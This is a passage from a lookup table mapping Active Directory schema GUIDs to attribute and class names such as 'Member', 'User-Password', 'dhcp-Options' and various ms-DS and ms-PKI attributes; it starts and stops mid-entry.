'0e0d0938-2658-4580-a9f6-7a0ac7b566cb': 'ms-ieee-80211-Data', - '3e978927-8c01-11d0-afda-00c04fd930c9': 'Operating-System-Service-Pack', - 'bf967a55-0de6-11d0-a285-00aa003049e2': 'Title', - '693f2006-5764-3d4a-8439-58f04aab4b59': 'ms-DS-Applies-To-Resource-Types', - '7769fb7a-1159-4e96-9ccd-68bc487073eb': 'ms-DFS-Link-v2', - 'f0f8ff88-1191-11d0-a060-00aa006c33ed': 'Company', - 'bf9679bd-0de6-11d0-a285-00aa003049e2': 'Max-Storage', - '6558b180-35da-4efe-beed-521f8f48cafb': 'ms-ieee-80211-Data-Type', - '3e978926-8c01-11d0-afda-00c04fd930c9': 'Operating-System-Version', - '16c3a860-1273-11d0-a060-00aa006c33ed': 'Tombstone-Lifetime', - '24977c8c-c1b7-3340-b4f6-2b375eb711d7': 'ms-DS-RID-Pool-Allocation-Enabled', - '7b35dbad-b3ec-486a-aad4-2fec9d6ea6f6': 'ms-DFSR-GlobalSettings', - 'bf967943-0de6-11d0-a285-00aa003049e2': 'Content-Indexing-Allowed', - 'bf9679be-0de6-11d0-a285-00aa003049e2': 'Max-Ticket-Age', - '7f73ef75-14c9-4c23-81de-dd07a06f9e8b': 'ms-ieee-80211-ID', - 'bf9679ee-0de6-11d0-a285-00aa003049e2': 'Operator-Count', - 'c1dc867c-a261-11d1-b606-0000f80367c1': 'Transport-Address-Attribute', - '9709eaaf-49da-4db2-908a-0446e5eab844': 'ms-DS-cloudExtensionAttribute1', - 'da73a085-6e64-4d61-b064-015d04164795': 'ms-DFS-Namespace-Anchor', - '4d8601ee-ac85-11d0-afe3-00c04fd930c9': 'Context-Menu', - 'bf9679bf-0de6-11d0-a285-00aa003049e2': 'May-Contain', - '8a5c99e9-2230-46eb-b8e8-e59d712eb9ee': 'ms-IIS-FTP-Dir', - '963d274d-48be-11d1-a9c3-0000f80367c1': 'Option-Description', - '26d97372-6070-11d1-a9c6-0000f80367c1': 'Transport-DLL-Name', - 'f34ee0ac-c0c1-4ba9-82c9-1a90752f16a5': 'ms-DS-cloudExtensionAttribute2', - '1c332fe0-0c2a-4f32-afca-23c5e45a9e77': 'ms-DFSR-ReplicationGroup', - '6da8a4fc-0e52-11d0-a286-00aa003049e2': 'Control-Access-Rights', - '11b6cc8b-48c4-11d1-a9c3-0000f80367c1': 'meetingAdvertiseScope', - '2a7827a4-1483-49a5-9d84-52e3812156b4': 'ms-IIS-FTP-Root', - '19195a53-6da0-11d0-afd3-00c04fd930c9': 'Options', - '26d97374-6070-11d1-a9c6-0000f80367c1': 'Transport-Type', - '82f6c81a-fada-4a0d-b0f7-706d46838eb5': 'ms-DS-cloudExtensionAttribute3', - '21cb8628-f3c3-4bbf-bff6-060b2d8f299a': 'ms-DFS-Namespace-v2', - 'bf967944-0de6-11d0-a285-00aa003049e2': 'Cost', - '11b6cc83-48c4-11d1-a9c3-0000f80367c1': 'meetingApplication', - '51583ce9-94fa-4b12-b990-304c35b18595': 'ms-Imaging-PSP-Identifier', - '963d274e-48be-11d1-a9c3-0000f80367c1': 'Options-Location', - '8fd044e3-771f-11d1-aeae-0000f80367c1': 'Treat-As-Leaf', - '9cbf3437-4e6e-485b-b291-22b02554273f': 'ms-DS-cloudExtensionAttribute4', - '64759b35-d3a1-42e4-b5f1-a3de162109b3': 'ms-DFSR-Content', - '508ca374-a511-4e4e-9f4f-856f61a6b7e4': 'Address-Book-Roots2', - '5fd42471-1262-11d0-a060-00aa006c33ed': 'Country-Code', - '11b6cc92-48c4-11d1-a9c3-0000f80367c1': 'meetingBandwidth', - '7b6760ae-d6ed-44a6-b6be-9de62c09ec67': 'ms-Imaging-PSP-String', - 'bf9679ef-0de6-11d0-a285-00aa003049e2': 'Organization-Name', - '28630ebd-41d5-11d1-a9c1-0000f80367c1': 'Tree-Name', - '2915e85b-e347-4852-aabb-22e5a651c864': 'ms-DS-cloudExtensionAttribute5', - '4898f63d-4112-477c-8826-3ca00bd8277d': 'Global-Address-List2', - 'bf967945-0de6-11d0-a285-00aa003049e2': 'Country-Name', - '11b6cc93-48c4-11d1-a9c3-0000f80367c1': 'meetingBlob', - '35697062-1eaf-448b-ac1e-388e0be4fdee': 'ms-net-ieee-80211-GP-PolicyGUID', - 'bf9679f0-0de6-11d0-a285-00aa003049e2': 'Organizational-Unit-Name', - '80a67e5a-9f22-11d0-afdd-00c04fd930c9': 'Trust-Attributes', - '60452679-28e1-4bec-ace3-712833361456': 'ms-DS-cloudExtensionAttribute6', - '4937f40d-a6dc-4d48-97ca-06e5fbfd3f16': 'ms-DFSR-ContentSet', - 'b1cba91a-0682-4362-a659-153e201ef069': 'Template-Roots2', - '2b09958a-8931-11d1-aebc-0000f80367c1': 'Create-Dialog', - '11b6cc87-48c4-11d1-a9c3-0000f80367c1': 'meetingContactInfo', - '9c1495a5-4d76-468e-991e-1433b0a67855': 'ms-net-ieee-80211-GP-PolicyData', - '28596019-7349-4d2f-adff-5a629961f942': 'organizationalStatus', - 'bf967a59-0de6-11d0-a285-00aa003049e2': 'Trust-Auth-Incoming', - '4a7c1319-e34e-40c2-9d00-60ff7890f207': 'ms-DS-cloudExtensionAttribute7', - '2df90d73-009f-11d2-aa4c-00c04fd7d83a': 'Create-Time-Stamp', - '11b6cc7e-48c4-11d1-a9c3-0000f80367c1': 'meetingDescription', - '0f69c62e-088e-4ff5-a53a-e923cec07c0a': 'ms-net-ieee-80211-GP-PolicyReserved', - '5fd424ce-1262-11d0-a060-00aa006c33ed': 'Original-Display-Table', - 'bf967a5f-0de6-11d0-a285-00aa003049e2': 'Trust-Auth-Outgoing', - '3cd1c514-8449-44ca-81c0-021781800d2a': 'ms-DS-cloudExtensionAttribute8', - '04828aa9-6e42-4e80-b962-e2fe00754d17': 'ms-DFSR-Topology', - 'b8442f58-c490-4487-8a9d-d80b883271ad': 'ms-DS-Claim-Type-Property-Base', - '2b09958b-8931-11d1-aebc-0000f80367c1': 'Create-Wizard-Ext', - '11b6cc91-48c4-11d1-a9c3-0000f80367c1': 'meetingEndTime', - '94a7b05a-b8b2-4f59-9c25-39e69baa1684': 'ms-net-ieee-8023-GP-PolicyGUID', - '5fd424cf-1262-11d0-a060-00aa006c33ed': 'Original-Display-Table-MSDOS', - 'bf967a5c-0de6-11d0-a285-00aa003049e2': 'Trust-Direction', - '0a63e12c-3040-4441-ae26-cd95af0d247e': 'ms-DS-cloudExtensionAttribute9', - 'bf967946-0de6-11d0-a285-00aa003049e2': 'Creation-Time', - '11b6cc7c-48c4-11d1-a9c3-0000f80367c1': 'meetingID', - '8398948b-7457-4d91-bd4d-8d7ed669c9f7': 'ms-net-ieee-8023-GP-PolicyData', - 'bf9679f1-0de6-11d0-a285-00aa003049e2': 'Other-Login-Workstations', - 'b000ea7a-a086-11d0-afdd-00c04fd930c9': 'Trust-Parent', - '670afcb3-13bd-47fc-90b3-0a527ed81ab7': 'ms-DS-cloudExtensionAttribute10', - '4229c897-c211-437c-a5ae-dbf705b696e5': 'ms-DFSR-Member', - '36093235-c715-4821-ab6a-b56fb2805a58': 'ms-DS-Claim-Types', - '4d8601ed-ac85-11d0-afe3-00c04fd930c9': 'Creation-Wizard', - '11b6cc89-48c4-11d1-a9c3-0000f80367c1': 'meetingIP', - 'd3c527c7-2606-4deb-8cfd-18426feec8ce': 'ms-net-ieee-8023-GP-PolicyReserved', - '0296c123-40da-11d1-a9c0-0000f80367c1': 'Other-Mailbox', - 'bf967a5d-0de6-11d0-a285-00aa003049e2': 'Trust-Partner', - '9e9ebbc8-7da5-42a6-8925-244e12a56e24': 'ms-DS-cloudExtensionAttribute11', - '7bfdcb85-4807-11d1-a9c3-0000f80367c1': 'Creator', - '11b6cc8e-48c4-11d1-a9c3-0000f80367c1': 'meetingIsEncrypted', - '3164c36a-ba26-468c-8bda-c1e5cc256728': 'ms-PKI-Cert-Template-OID', - 'bf9679f2-0de6-11d0-a285-00aa003049e2': 'Other-Name', - 'bf967a5e-0de6-11d0-a285-00aa003049e2': 'Trust-Posix-Offset', - '3c01c43d-e10b-4fca-92b2-4cf615d5b09a': 'ms-DS-cloudExtensionAttribute12', - 'e58f972e-64b5-46ef-8d8b-bbc3e1897eab': 'ms-DFSR-Connection', - '7a4a4584-b350-478f-acd6-b4b852d82cc0': 'ms-DS-Resource-Properties', - '963d2737-48be-11d1-a9c3-0000f80367c1': 'CRL-Object', - '11b6cc7f-48c4-11d1-a9c3-0000f80367c1': 'meetingKeyword', - 'dbd90548-aa37-4202-9966-8c537ba5ce32': 'ms-PKI-Certificate-Application-Policy', - '1ea64e5d-ac0f-11d2-90df-00c04fd91ab1': 'Other-Well-Known-Objects', - 'bf967a60-0de6-11d0-a285-00aa003049e2': 'Trust-Type', - '28be464b-ab90-4b79-a6b0-df437431d036': 'ms-DS-cloudExtensionAttribute13', - '963d2731-48be-11d1-a9c3-0000f80367c1': 'CRL-Partitioned-Revocation-List', - '11b6cc84-48c4-11d1-a9c3-0000f80367c1': 'meetingLanguage', - 'ea1dddc4-60ff-416e-8cc0-17cee534bce7': 'ms-PKI-Certificate-Name-Flag', - 'bf9679f3-0de6-11d0-a285-00aa003049e2': 'Owner', - 'bf967a61-0de6-11d0-a285-00aa003049e2': 'UAS-Compat', - 'cebcb6ba-6e80-4927-8560-98feca086a9f': 'ms-DS-cloudExtensionAttribute14', - '7b9a2d92-b7eb-4382-9772-c3e0f9baaf94': 'ms-ieee-80211-Policy', - '81a3857c-5469-4d8f-aae6-c27699762604': 'ms-DS-Claim-Type', - '167757b2-47f3-11d1-a9c3-0000f80367c1': 'Cross-Certificate-Pair', - '11b6cc80-48c4-11d1-a9c3-0000f80367c1': 'meetingLocation', - '38942346-cc5b-424b-a7d8-6ffd12029c5f': 'ms-PKI-Certificate-Policy', - '7d6c0e99-7e20-11d0-afd6-00c04fd930c9': 'Package-Flags', - '0bb0fca0-1e89-429f-901a-1413894d9f59': 'uid', - 'aae4d537-8af0-4daa-9cc6-62eadb84ff03': 'ms-DS-cloudExtensionAttribute15', - '1f0075fe-7e40-11d0-afd6-00c04fd930c9': 'Curr-Machine-Id', - '11b6cc85-48c4-11d1-a9c3-0000f80367c1': 'meetingMaxParticipants', - 'b7ff5a38-0818-42b0-8110-d3d154c97f24': 'ms-PKI-Credential-Roaming-Tokens', - '7d6c0e98-7e20-11d0-afd6-00c04fd930c9': 'Package-Name', - 'bf967a64-0de6-11d0-a285-00aa003049e2': 'UNC-Name', - '9581215b-5196-4053-a11e-6ffcafc62c4d': 'ms-DS-cloudExtensionAttribute16', - 'a0ed2ac1-970c-4777-848e-ec63a0ec44fc': 'ms-Imaging-PSPs', - '5b283d5e-8404-4195-9339-8450188c501a': 'ms-DS-Resource-Property', - '1f0075fc-7e40-11d0-afd6-00c04fd930c9': 'Current-Location', - '11b6cc7d-48c4-11d1-a9c3-0000f80367c1': 'meetingName', - 'd15ef7d8-f226-46db-ae79-b34e560bd12c': 'ms-PKI-Enrollment-Flag', - '7d6c0e96-7e20-11d0-afd6-00c04fd930c9': 'Package-Type', - 'bf9679e1-0de6-11d0-a285-00aa003049e2': 'Unicode-Pwd', - '3d3c6dda-6be8-4229-967e-2ff5bb93b4ce': 'ms-DS-cloudExtensionAttribute17', - '963d273f-48be-11d1-a9c3-0000f80367c1': 'Current-Parent-CA', - '11b6cc86-48c4-11d1-a9c3-0000f80367c1': 'meetingOriginator', - 'f22bd38f-a1d0-4832-8b28-0331438886a6': 'ms-PKI-Enrollment-Servers', - '5245801b-ca6a-11d0-afff-0000f80367c1': 'Parent-CA', - 'ba0184c7-38c5-4bed-a526-75421470580c': 'uniqueIdentifier', - '88e73b34-0aa6-4469-9842-6eb01b32a5b5': 'ms-DS-cloudExtensionAttribute18', - '1f7c257c-b8a3-4525-82f8-11ccc7bee36e': 'ms-Imaging-PostScanProcess', - '72e3d47a-b342-4d45-8f56-baff803cabf9': 'ms-DS-Resource-Property-List', - 'bf967947-0de6-11d0-a285-00aa003049e2': 'Current-Value', - '11b6cc88-48c4-11d1-a9c3-0000f80367c1': 'meetingOwner', - 'e96a63f5-417f-46d3-be52-db7703c503df': 'ms-PKI-Minimal-Key-Size', - '963d2733-48be-11d1-a9c3-0000f80367c1': 'Parent-CA-Certificate-Chain', - '8f888726-f80a-44d7-b1ee-cb9df21392c8': 'uniqueMember', - '0975fe99-9607-468a-8e18-c800d3387395': 'ms-DS-cloudExtensionAttribute19', - 'bf96799c-0de6-11d0-a285-00aa003049e2': 'DBCS-Pwd', - '11b6cc81-48c4-11d1-a9c3-0000f80367c1': 'meetingProtocol', - '8c9e1288-5028-4f4f-a704-76d026f246ef': 'ms-PKI-OID-Attribute', - '2df90d74-009f-11d2-aa4c-00c04fd7d83a': 'Parent-GUID', - '50950839-cc4c-4491-863a-fcf942d684b7': 'unstructuredAddress', - 'f5446328-8b6e-498d-95a8-211748d5acdc': 'ms-DS-cloudExtensionAttribute20', - 'a16f33c7-7fd6-4828-9364-435138fda08d': 'ms-Print-ConnectionPolicy', - 'b72f862b-bb25-4d5d-aa51-62c59bdf90ae': 'ms-SPP-Activation-Objects-Container', - 'bf967948-0de6-11d0-a285-00aa003049e2': 'Default-Class-Store', - '11b6cc8d-48c4-11d1-a9c3-0000f80367c1': 'meetingRating', - '5f49940e-a79f-4a51-bb6f-3d446a54dc6b': 'ms-PKI-OID-CPS', - '28630ec0-41d5-11d1-a9c1-0000f80367c1': 'Partial-Attribute-Deletion-List', - '9c8ef177-41cf-45c9-9673-7716c0c8901b': 'unstructuredName', - '6b3d6fda-0893-43c4-89fb-1fb52a6616a9': 'ms-DS-Issuer-Certificates', - '720bc4e2-a54a-11d0-afdf-00c04fd930c9': 'Default-Group', - '11b6cc8f-48c4-11d1-a9c3-0000f80367c1': 'meetingRecurrence', - '7d59a816-bb05-4a72-971f-5c1331f67559': 'ms-PKI-OID-LocalizedName', - '19405b9e-3cfa-11d1-a9c0-0000f80367c1': 'Partial-Attribute-Set', - 'd9e18312-8939-11d1-aebc-0000f80367c1': 'Upgrade-Product-Code', - 'ca3286c2-1f64-4079-96bc-e62b610e730f': 'ms-DS-Registration-Quota', - '37cfd85c-6719-4ad8-8f9e-8678ba627563': 'ms-PKI-Enterprise-Oid', - '51a0e68c-0dc5-43ca-935d-c1c911bf2ee5': 'ms-SPP-Activation-Object', - 'b7b13116-b82e-11d0-afee-0000f80367c1': 'Default-Hiding-Value', - '11b6cc8a-48c4-11d1-a9c3-0000f80367c1': 'meetingScope', - '04c4da7a-e114-4e69-88de-e293f2d3b395': 'ms-PKI-OID-User-Notice', - '07383084-91df-11d1-aebc-0000f80367c1': 'Pek-Key-Change-Interval', - '032160bf-9824-11d1-aec0-0000f80367c1': 'UPN-Suffixes', - '0a5caa39-05e6-49ca-b808-025b936610e7': 'ms-DS-Maximum-Registration-Inactivity-Period', - 'bf96799f-0de6-11d0-a285-00aa003049e2': 'Default-Local-Policy-Object', - '11b6cc90-48c4-11d1-a9c3-0000f80367c1': 'meetingStartTime', - 'bab04ac2-0435-4709-9307-28380e7c7001': 'ms-PKI-Private-Key-Flag', - '07383083-91df-11d1-aebc-0000f80367c1': 'Pek-List', - 'bf967a68-0de6-11d0-a285-00aa003049e2': 'User-Account-Control', - 'e3fb56c8-5de8-45f5-b1b1-d2b6cd31e762': 'ms-DS-Device-Location', - '26ccf238-a08e-4b86-9a82-a8c9ac7ee5cb': 'ms-PKI-Key-Recovery-Agent', - 'e027a8bd-6456-45de-90a3-38593877ee74': 'ms-TPM-Information-Objects-Container', - '26d97367-6070-11d1-a9c6-0000f80367c1': 'Default-Object-Category', - '11b6cc82-48c4-11d1-a9c3-0000f80367c1': 'meetingType', - '0cd8711f-0afc-4926-a4b1-09b08d3d436c': 'ms-PKI-Site-Name', - '963d273c-48be-11d1-a9c3-0000f80367c1': 'Pending-CA-Certificates', - 'bf967a69-0de6-11d0-a285-00aa003049e2': 'User-Cert', - '617626e9-01eb-42cf-991f-ce617982237e': 'ms-DS-Registered-Owner', - '281416c8-1968-11d0-a28f-00aa003049e2': 'Default-Priority', - '11b6cc8c-48c4-11d1-a9c3-0000f80367c1': 'meetingURL', - '9de8ae7d-7a5b-421d-b5e4-061f79dfd5d7': 'ms-PKI-Supersede-Templates', - '963d273e-48be-11d1-a9c3-0000f80367c1': 'Pending-Parent-CA', - 'bf967a6a-0de6-11d0-a285-00aa003049e2': 'User-Comment', - '0449160c-5a8e-4fc8-b052-01c0f6e48f02': 'ms-DS-Registered-Users', - '05f6c878-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLServer', - '85045b6a-47a6-4243-a7cc-6890701f662c': 'ms-TPM-Information-Object', - '807a6d30-1669-11d0-a064-00aa006c33ed': 'Default-Security-Descriptor', - 'bf9679c0-0de6-11d0-a285-00aa003049e2': 'Member', - '13f5236c-1884-46b1-b5d0-484e38990d58': 'ms-PKI-Template-Minor-Revision', - '5fd424d3-1262-11d0-a060-00aa006c33ed': 'Per-Msg-Dialog-Display-Table', - 'bf967a6d-0de6-11d0-a285-00aa003049e2': 'User-Parameters', - 'a34f983b-84c6-4f0c-9050-a3a14a1d35a4': 'ms-DS-Approximate-Last-Logon-Time-Stamp', - '167757b5-47f3-11d1-a9c3-0000f80367c1': 'Delta-Revocation-List', - '0296c122-40da-11d1-a9c0-0000f80367c1': 'MHS-OR-Address', - '0c15e9f5-491d-4594-918f-32813a091da9': 'ms-PKI-Template-Schema-Version', - '5fd424d4-1262-11d0-a060-00aa006c33ed': 'Per-Recip-Dialog-Display-Table', - 'bf967a6e-0de6-11d0-a285-00aa003049e2': 'User-Password', - '22a95c0e-1f83-4c82-94ce-bea688cfc871': 'ms-DS-Is-Enabled', - '0c7e18ea-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPServer', - 'ef2fc3ed-6e18-415b-99e4-3114a8cb124b': 'ms-DNS-Server-Settings', - 'bf96794f-0de6-11d0-a285-00aa003049e2': 'Department', - 'bf9679c2-0de6-11d0-a285-00aa003049e2': 'Min-Pwd-Age', - '3c91fbbf-4773-4ccd-a87b-85d53e7bcf6a': 'ms-PKI-RA-Application-Policies', - '16775858-47f3-11d1-a9c3-0000f80367c1': 'Personal-Title', - '11732a8a-e14d-4cc5-b92f-d93f51c6d8e4': 'userClass', - '100e454d-f3bb-4dcb-845f-8d5edc471c59': 'ms-DS-Device-OS-Type', - 'be9ef6ee-cbc7-4f22-b27b-96967e7ee585': 'departmentNumber', - 'bf9679c3-0de6-11d0-a285-00aa003049e2': 'Min-Pwd-Length', - 'd546ae22-0951-4d47-817e-1c9f96faad46': 'ms-PKI-RA-Policies', - '0296c11d-40da-11d1-a9c0-0000f80367c1': 'Phone-Fax-Other', - '23998ab5-70f8-4007-a4c1-a84a38311f9a': 'userPKCS12', - '70fb8c63-5fab-4504-ab9d-14b329a8a7f8': 'ms-DS-Device-OS-Version', - '11d43c5c-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLRepository', - '555c21c3-a136-455a-9397-796bbd358e25': 'ms-Authz-Central-Access-Policies', - 'bf967950-0de6-11d0-a285-00aa003049e2': 'Description', - 'bf9679c4-0de6-11d0-a285-00aa003049e2': 'Min-Ticket-Age', - 'fe17e04b-937d-4f7e-8e0e-9292c8d5683e': 'ms-PKI-RA-Signature', - 'f0f8ffa2-1191-11d0-a060-00aa006c33ed': 'Phone-Home-Other', - '28630ebb-41d5-11d1-a9c1-0000f80367c1': 'User-Principal-Name', - '90615414-a2a0-4447-a993-53409599b74e': 'ms-DS-Device-Physical-IDs', - 'eea65906-8ac6-11d0-afda-00c04fd930c9': 'Desktop-Profile', - 'bf9679c5-0de6-11d0-a285-00aa003049e2': 'Modified-Count', - '6617e4ac-a2f1-43ab-b60c-11fbd1facf05': 'ms-PKI-RoamingTimeStamp', - 'f0f8ffa1-1191-11d0-a060-00aa006c33ed': 'Phone-Home-Primary', - '9a9a021f-4a5b-11d1-a9c3-0000f80367c1': 'User-Shared-Folder', - 'c30181c7-6342-41fb-b279-f7c566cbe0a7': 'ms-DS-Device-ID', - '17c2f64e-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLPublication', - '99bb1b7a-606d-4f8b-800e-e15be554ca8d': 'ms-Authz-Central-Access-Rules', - '974c9a02-33fc-11d3-aa6e-00c04f8eedd8': 'msExch-Proxy-Gen-Options', - 'bf967951-0de6-11d0-a285-00aa003049e2': 'Destination-Indicator', - 'bf9679c6-0de6-11d0-a285-00aa003049e2': 'Modified-Count-At-Last-Prom', - 'b3f93023-9239-4f7c-b99c-6745d87adbc2': 'ms-PKI-DPAPIMasterKeys', - '4d146e4b-48d4-11d1-a9c3-0000f80367c1': 'Phone-Ip-Other', - '9a9a0220-4a5b-11d1-a9c3-0000f80367c1': 'User-Shared-Folder-Other', - 'ef65695a-f179-4e6a-93de-b01e06681cfb': 'ms-DS-Device-Object-Version', - '963d2750-48be-11d1-a9c3-0000f80367c1': 'dhcp-Classes', - '9a7ad94a-ca53-11d1-bbd0-0080c76670c0': 'Modify-Time-Stamp', - 'b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7': 'ms-PKI-AccountCredentials', - '4d146e4a-48d4-11d1-a9c3-0000f80367c1': 'Phone-Ip-Primary', - 'e16a9db2-403c-11d1-a9c0-0000f80367c1': 'User-SMIME-Certificate', - '862166b6-c941-4727-9565-48bfff2941de': 'ms-DS-Is-Member-Of-DL-Transitive', - '1d08694a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLDatabase', - '5b4a06dc-251c-4edb-8813-0bdd71327226': 'ms-Authz-Central-Access-Rule', - '963d2741-48be-11d1-a9c3-0000f80367c1': 'dhcp-Flags', - 'bf9679c7-0de6-11d0-a285-00aa003049e2': 'Moniker', - 'f39b98ad-938d-11d1-aebd-0000f80367c1': 'ms-RRAS-Attribute', - '0296c11f-40da-11d1-a9c0-0000f80367c1': 'Phone-ISDN-Primary', - 'bf9679d7-0de6-11d0-a285-00aa003049e2': 'User-Workstations', - 'e215395b-9104-44d9-b894-399ec9e21dfc': 'ms-DS-Member-Transitive', - '963d2742-48be-11d1-a9c3-0000f80367c1': 'dhcp-Identification', - 'bf9679c8-0de6-11d0-a285-00aa003049e2': 'Moniker-Display-Name', - 'f39b98ac-938d-11d1-aebd-0000f80367c1': 'ms-RRAS-Vendor-Attribute-Entry', - '0296c11e-40da-11d1-a9c0-0000f80367c1': 'Phone-Mobile-Other', - 'bf967a6f-0de6-11d0-a285-00aa003049e2': 'USN-Changed', - 'b918fe7d-971a-f404-9e21-9261abec970b': 'ms-DS-Parent-Dist-Name', - '20af031a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPDatabase', - 'a5679cb0-6f9d-432c-8b75-1e3e834f02aa': 'ms-Authz-Central-Access-Policy', - '963d2747-48be-11d1-a9c3-0000f80367c1': 'dhcp-Mask', - '1f2ac2c8-3b71-11d2-90cc-00c04fd91ab1': 'Move-Tree-State', - 'a6f24a23-d65c-4d65-a64f-35fb6873c2b9': 'ms-RADIUS-FramedInterfaceId', - 'f0f8ffa3-1191-11d0-a060-00aa006c33ed': 'Phone-Mobile-Primary', - 'bf967a70-0de6-11d0-a285-00aa003049e2': 'USN-Created', - '1e02d2ef-44ad-46b2-a67d-9fd18d780bca': 'ms-DS-Repl-Value-Meta-Data-Ext', - '963d2754-48be-11d1-a9c3-0000f80367c1': 'dhcp-MaxKey', - '998b10f7-aa1a-4364-b867-753d197fe670': 'ms-COM-DefaultPartitionLink', - 'a4da7289-92a3-42e5-b6b6-dad16d280ac9': 'ms-RADIUS-SavedFramedInterfaceId', - 'f0f8ffa5-1191-11d0-a060-00aa006c33ed': 'Phone-Office-Other', - 'bf967a71-0de6-11d0-a285-00aa003049e2': 'USN-DSA-Last-Obj-Removed', - '6055f766-202e-49cd-a8be-e52bb159edfb': 'ms-DS-Drs-Farm-ID', - '09f0506a-cd28-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPCube', - '5ef243a8-2a25-45a6-8b73-08a71ae677ce': 'ms-Kds-Prov-ServerConfiguration', - '963d2744-48be-11d1-a9c3-0000f80367c1': 'dhcp-Obj-Description', - '430f678b-889f-41f2-9843-203b5a65572f': 'ms-COM-ObjectId', - 'f63ed610-d67c-494d-87be-cd1e24359a38': 'ms-RADIUS-FramedIpv6Prefix', - 'f0f8ffa4-1191-11d0-a060-00aa006c33ed': 'Phone-Pager-Other', - 'a8df7498-c5ea-11d1-bbcb-0080c76670c0': 'USN-Intersite', - 'b5f1edfe-b4d2-4076-ab0f-6148342b0bf6': 'ms-DS-Issuer-Public-Certificates', - '963d2743-48be-11d1-a9c3-0000f80367c1': 'dhcp-Obj-Name', - '09abac62-043f-4702-ac2b-6ca15eee5754': 'ms-COM-PartitionLink', - '0965a062-b1e1-403b-b48d-5c0eb0e952cc': 'ms-RADIUS-SavedFramedIpv6Prefix', - 'f0f8ffa6-1191-11d0-a060-00aa006c33ed': 'Phone-Pager-Primary', - 'bf967a73-0de6-11d0-a285-00aa003049e2': 'USN-Last-Obj-Rem', - '60686ace-6c27-43de-a4e5-f00c2f8d3309': 'ms-DS-IsManaged', - 'ca7b9735-4b2a-4e49-89c3-99025334dc94': 'ms-TAPI-Rt-Conference', - 'aa02fd41-17e0-4f18-8687-b2239649736b': 'ms-Kds-Prov-RootKey', - '963d274f-48be-11d1-a9c3-0000f80367c1': 'dhcp-Options', - '67f121dc-7d02-4c7d-82f5-9ad4c950ac34': 'ms-COM-PartitionSetLink', - '5a5aa804-3083-4863-94e5-018a79a22ec0': 'ms-RADIUS-FramedIpv6Route', - '9c979768-ba1a-4c08-9632-c6a5c1ed649a': 'photo', - '167758ad-47f3-11d1-a9c3-0000f80367c1': 'USN-Source', - '5315ba8e-958f-4b52-bd38-1349a304dd63': 'ms-DS-Cloud-IsManaged', - '963d2753-48be-11d1-a9c3-0000f80367c1': 'dhcp-Properties', - '9e6f3a4d-242c-4f37-b068-36b57f9fc852': 'ms-COM-UserLink', - '9666bb5c-df9d-4d41-b437-2eec7e27c9b3': 'ms-RADIUS-SavedFramedIpv6Route', - 'bf9679f7-0de6-11d0-a285-00aa003049e2': 'Physical-Delivery-Office-Name', - '4d2fa380-7f54-11d2-992a-0000f87a57d4': 'Valid-Accesses', - '78565e80-03d4-4fe3-afac-8c3bca2f3653': 'ms-DS-Cloud-Anchor', - '53ea1cb5-b704-4df9-818f-5cb4ec86cac1': 'ms-TAPI-Rt-Person', - '7b8b558a-93a5-4af7-adca-c017e67f1057': 'ms-DS-Group-Managed-Service-Account', - '963d2748-48be-11d1-a9c3-0000f80367c1': 'dhcp-Ranges', - '8e940c8a-e477-4367-b08d-ff2ff942dcd7': 'ms-COM-UserPartitionSetLink', - '3532dfd8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Name', - 'b7b13119-b82e-11d0-afee-0000f80367c1': 'Physical-Location-Object', - '281416df-1968-11d0-a28f-00aa003049e2': 'Vendor', - 'a1e8b54f-4bd6-4fd2-98e2-bcee92a55497': 'ms-DS-Cloud-Issuer-Public-Certificates', - '963d274a-48be-11d1-a9c3-0000f80367c1': 'dhcp-Reservations', - 'e85e1204-3434-41ad-9b56-e2901228fff0': 'MS-DRM-Identity-Certificate', - '48fd44ea-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-RegisteredOwner', - '8d3bca50-1d7e-11d0-a081-00aa006c33ed': 'Picture', - 'bf967a76-0de6-11d0-a285-00aa003049e2': 'Version-Number', - '89848328-7c4e-4f6f-a013-28ce3ad282dc': 'ms-DS-Cloud-IsEnabled', - '50ca5d7d-5c8b-4ef3-b9df-5b66d491e526': 'ms-WMI-IntRangeParam', - 'e3c27fdf-b01d-4f4e-87e7-056eef0eb922': 'ms-DS-Value-Type', - '963d2745-48be-11d1-a9c3-0000f80367c1': 'dhcp-Servers', - '80863791-dbe9-4eb8-837e-7f0ab55d9ac7': 'ms-DS-Additional-Dns-Host-Name', - '4f6cbdd8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Contact', - 'fc5a9106-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Critical-Extensions', - '7d6c0e9a-7e20-11d0-afd6-00c04fd930c9': 'Version-Number-Hi', - 'b7acc3d2-2a74-4fa4-ac25-e63fe8b61218': 'ms-DS-SyncServerUrl', - '963d2749-48be-11d1-a9c3-0000f80367c1': 'dhcp-Sites', - '975571df-a4d5-429a-9f59-cdc6581d91e6': 'ms-DS-Additional-Sam-Account-Name', - '561c9644-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Location', - '1ef6336e-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Default-CSPs', - '7d6c0e9b-7e20-11d0-afd6-00c04fd930c9': 'Version-Number-Lo', - 'de0caa7f-724e-4286-b179-192671efc664': 'ms-DS-User-Allowed-To-Authenticate-To', - '292f0d9a-cf76-42b0-841f-b650f331df62': 'ms-WMI-IntSetParam', - '2eeb62b3-1373-fe45-8101-387f1676edc7': 'ms-DS-Claims-Transformation-Policy-Type', - '963d2752-48be-11d1-a9c3-0000f80367c1': 'dhcp-State', - 'd3aa4a5c-4e03-4810-97aa-2b339e7a434b': 'MS-DS-All-Users-Trust-Quota', - '5b5d448c-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Memory', - '426cae6e-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Default-Key-Spec', - '1f0075fd-7e40-11d0-afd6-00c04fd930c9': 'Vol-Table-GUID', - '2c4c9600-b0e1-447d-8dda-74902257bdb5': 'ms-DS-User-Allowed-To-Authenticate-From', - '963d2746-48be-11d1-a9c3-0000f80367c1': 'dhcp-Subnets', - '8469441b-9ac4-4e45-8205-bd219dbf672d': 